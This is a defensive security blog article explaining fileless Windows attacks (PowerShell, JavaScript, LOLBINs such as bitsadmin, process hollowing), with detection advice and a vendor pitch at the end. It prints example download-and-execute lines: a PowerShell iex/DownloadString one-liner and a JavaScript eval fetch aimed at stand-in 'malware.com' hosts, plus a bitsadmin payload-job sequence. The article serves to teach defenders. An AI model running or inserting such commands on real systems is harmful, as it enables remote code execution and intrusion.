Fileless Attacks at a Glance: Weaponizing Powershell & Microsoft Legitimate Apps

Introduction

Fileless attacks have been around for so many years. Yet, they are still quite effective in bypassing antiviruses and making detection & response harder.

Not only that but also, fileless attacks make Threat intelligence harder while relying mostly on file hashes and IoCs that might change from one version to another.

In this article, we will go through what fileless attacks are, their components, and how to detect, investigate, and secure your organization from them.

What’s Fileless Attacks?

Fileless attacks are the type of attacks that avoid writing files to the disk. They might have malicious code that operates entirely in memory, leveraging legitimate system tools and processes to execute their payloads.

It doesn’t mean Fileless attacks don’t write files at all. They might start from a malicious document with a macro or a .LNK file (desktop shortcuts), but the remainder of the attack becomes fileless.

Instead of dropping more executable files or scripts onto the target system, attackers inject malicious code directly into running processes or use built-in Windows tools like PowerShell, Windows Management Instrumentation (WMI), LOLBAS/LOLBINS, and registry keys to carry out their objectives.

Why Fileless Attacks?

These sophisticated attacks are particularly dangerous because they bypass traditional file-based security solutions and leave minimal traces on the system.

They also bypass digital forensics and leave no non-volatile artifacts. Taking a disk copy or collecting artifacts using KAPE might not help.

Also, if the malware is not aiming to maintain persistence (autorun when the system restarts), there might be no traces of this malware once you restart the system. Breaking the incident response & investigation process.

Lastly, fileless attacks might help in bypassing whitelisting. Relying on Microsoft’s legitimate applications and other tools widely used by the victim can help bypass any restrictions on executing unknown or malicious executables.

Lastly, Fileless attacks are easier to conduct, scripts are easier to obfuscate and make the attack more efficient in many ways. Even maintaining persistence is easily achievable with registry values containing PowerShell scripts.

Misconception About Fileless Attacks

Here are some misconceptions about fileless attacks you need to be aware of:

• “Fileless attacks are new”

Fileless attacks have been around for over two decades. The Code Red worm from 2001 is a good example of an early fileless attack that infected thousands of systems without writing files to disk.

• “Attacks are exclusively fileless”

Most fileless attacks still interact with the file system at some point. They often combine both fileless and file-based techniques, making them hybrid threats rather than purely fileless operations.

As we said previously like writing a malicious document with a macro or a .LNK file.

• “Fileless attacks are rare”

According to recent security reports, approximately one-third of all attacks are fileless or employ fileless techniques. This makes them a significant and common threat in today’s cyber landscape.

• “Traditional antivirus can stop fileless attacks”

Conventional antivirus solutions often struggle with fileless attacks because they primarily rely on file-based detection methods. This is why specialized behavior-based security solutions are necessary for effective protection against fileless threats. Something like EDR (Endpoint Detection Response) or similar host-based intrusion prevention systems

Components and Techniques of Fileless Attacks

1. Scripting Engines

Powershell

Powershell is one of the most common scripting languages used by attackers. It provides access to most Windows features, is built-in in Windows, and can load C# modules directly in memory (As well as access to Windows APIs like C++).

Microsoft tried to provide different security features in Powershell to limit its use by attackers like AMSI, Script Logging, and much more but still it’s commonly used by attacker groups today.

iex((New-Object Net.WebClient).DownloadString('https://malware.com/payload.ps1'))

In this simple script, the attacker Downloads an additional PowerShell payload and executes it in the memory (without writing it to disk). The “iex” instruction is a shortcut/alias for “Invoke-Expression” which executes a code

And “New-Object Net.WebClient” is a Powershell code that interacts with Microsoft .Net Classes (Net.WebClient in this example) to create a code-based web browser that downloads the malware using “DownloadString”

APT 41 Powershell C&C Communications by https://threatmon.io

Here is another example of the use of Powershell in C&C communications by APT41.

In this script, the malware sends some information to the attacker including the public IP (from ip-api.com), Network adaptor info, OS info, Antivirus information, and user info (whoami).

So, Powershell can be used as a stage 1 Download & Execute script or can be the full-fledged malware sending victim’s information and execute commands.

With tools like Invoke-Obfuscation or AMSI.Fail, the attackers can bypass Powershell’s security features and bypass Antivirus scanning

VBScript & Javascript

Another common scripting languages are Javascript & VBScript. These 2 scripting languages can be used in the first stage of the malware with COM Scriptlets or even without being completely fileless with wscript.exe application.

These languages don’t provide the same ability to run inline scripts from the commandline like Powershell but they can be executed from inside an XML file or other uncommon types of files

Also, they provide the ability to execute applications (including Powershell with an inline script) or load a complete C# module in memory with DotNetToJScript.

You can read more about these uses in COM Objects For Red Teaming here:

COM Objects P.1: The Hidden Backdoor in Your System

Example malicious javascript code:

net = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
net.Open("GET","http://malware[.]com/malware.js",false);
net.Send();
js = net.ResponseText;
eval(js);

This is a Download & Execute javascript that downloads an additional script. It doesn’t save it to disk but executes it directly from memory using “eval” command

2. LOLBAS/LOLBINS

Microsoft has a lot of legitimate applications that can be abused to download, decode, and execute payloads either directly from memory or from disk

LOLBAS project provides a list of all the different applications you can abuse, what use you can get out of them, and how you can abuse them.

LOLBAS project: https://lolbas-project.github.io

You can use these legitimate applications to download and execute a malware when the system is idle like bitsadmin

bitsadmin /create <malware-job>
bitsadmin /addfile <malware-job> http://<malware website>/<malware>.exe <file path>
bitsadmin /SetNotifyCmdLine <malware-job> <command to execute>
bitsadmin /resume <malware-job>

This list of bitsadmin commands create a new job for downloading the malware payload. Downloads it when the system is idle and uses /SetNotifyCmdLine to execute the malware afterward.

This also can be used to download encoded payload, decode it, and execute it later using other LOLBINs

Another example here is from APT41 using ForFiles.exe to execute command prompt commands.

The tool is used for file searching and matching and it’s able to execute an application once it finds a match (in this case notepad.exe) inside a specific folder (system32 in this case).

APT41: Maintain Persistence using ForFiles.exe Legitimate Application, by https://threatmon.io

You can also see other LOLBINs in our article

COM Objects P.2: Your Stealthy Fileless Attack

3. Memory Injection

Memory injection is one of the most common techniques used in fileless attacks. It allows attackers to disguise their malware and its behavior as legitimate tools that are already in use by the victim.

The attacker might target chrome.exe to disguise malicious communications as normal browsing, either by using code injection or even using a malicious extension.

They can also inject code inside svchost.exe (Service Host Process) to disguise malware as a service. Some malware goes to the extent of creating its own svchost.exe for the sole purpose of injection. This typically occurs in conjunction with a known memory injection technique called Process Hollowing.

Process Hollowing, first introduced in the Stuxnet malware, is a technique that involves executing a legitimate application for the sole purpose of running malware. Here’s how it works:

• The malware opens a process in suspended mode
• It replaces the legitimate application code with malware in its memory space
• Finally, it resumes the execution of the process

After this process, the legitimate application no longer exists in memory; only the malware remains, and it’s the only code executing in that process space.

You can read my full analysis report for stuxnet here

Stuxnet Malware Analysis Paper

Memory Injection can be used to remain running and undetected by injecting into a process or a service running uninterrupted in a server. That could be Tomcat.exe or any other service/application running continously without interruption

4. Other Techniques

Attackers might use other scripts like bash scripts, AppleScript, python or other languages to maintain persistence.

They might use malicious documents with macros (VBA scripts) for initial access and then move into more downloadable payloads over the time.

They might use WMI and RPC protocols to execute malware remotely on other systems

Lastly, they might use Active Directory as the only way to maintain persistence with other applications like ngrok for RDP Tunneling or TeamViewer for persistence, and rclone or sftp for data exfiltration.

Recommendations For Fileless Attacks Detection & Response

To respond to Fileless attacks, you need to have

• More Visibility: You need to have visibility over Endpoints and Servers with implementing Endpoint Detection Response (EDR) or any Host Intrusion Prevention System (HIPS) like sysmon or OpenEDR
• Memory Analysis & Monitoring: Being able to see the host activities is important but without the ability to dig into the raw data on the machine itself, you might be missing a lot of information.
  EDRs and sysmon can be turned off or muted, you will need to be able to use memory analysis tools like volatility or collect volatile and non-volatile data using KAPE or Kansa frameworks.
  They might also help in detecting memory injections that can’t be seen by EDRs
• Powershell Logging & Monitoring: Powershell is the most common scripting language by attackers. Powershell logging is not the best solution but it provides an additional layer of defense and detection for malicious scripts
• Enable Powershell Constrained Language Mode: Constrained language mode can help prevent the use of some .Net classes, Win32 API calls, and other possibly malicious scripts.
  Constrained Language Mode can be bypassed by either downgrading to Powershell V2, loading assembly loading through other means or other techniques. So, make sure to follow best practices while implementing Constrained language mode
• Active Directory Monitoring & Hardening: Active directory misconfigurations and lack of monitoring can leave for the attacker not only open doors for lateral movements but also for maintaining persistence for years inside the domain. Make sure to implement a monitoring tool on Active Directory (Like Microsoft Defender for Identity) and actively test it for weaknesses using Red Teaming services

Conclusion

Fileless attacks have been around for so many years. Yet, they are still quite effective in bypassing antiviruses and making detection & response harder.

They rely on abusing Microsoft legitimate applications, utilizing different scripting languages and memory injections to move from one stage to another and from one payload to another without touching the disk.

You need to not rely 100% on traditional antivirus products but implement Endpoint Detection Response on Endpoints & Servers, monitor for PowerShell activities, and active directory attacks.

Next Article

In this next article, we will be exploring a real fileless attack step-by-step. We will be analyzing the attack together and provide specific recommendations to detect and respond to this attack. So, stay tuned

What is MalTrak & How We Can Help You?

MalTrak is a cybersecurity startup that provides expertise in incident response and threat hunting for targeted attacks, APT attacks, and ransomware attacks.

It’s created by Amr Thabet, Former malware researcher in Symantec, Speaker & Trainer in Blackhat, Hack In Paris, and others, and the author of the highly-rated “Mastering Malware Analysis” book

Mastering Malware Analysis - Second Edition: A malware analyst's practical guide to combating malicious software, APT, cybercrime, and IoT attacks

We provide you with unmatched expertise, we multiply it with our state-of-the-art AI Investigate tool (currently in Beta) created to mimic our threat investigation process and provide in-depth memory forensics capabilities powered by AI

And we make sure to provide that for other small-medium businesses with tight budgets

We will make sure to improve your visibility, your time-to-response, and your maturity level with a fraction of the price of other Managed services that provide half of what we offer.

And if you already have your security team and want to take their skills to the next level, we provide advanced malware analysis & threat hunting training.

Interested? Reach out to us using enterprise[at]maltrak.com

Enterprise Solutions | MalTrak

Originally published on Medium.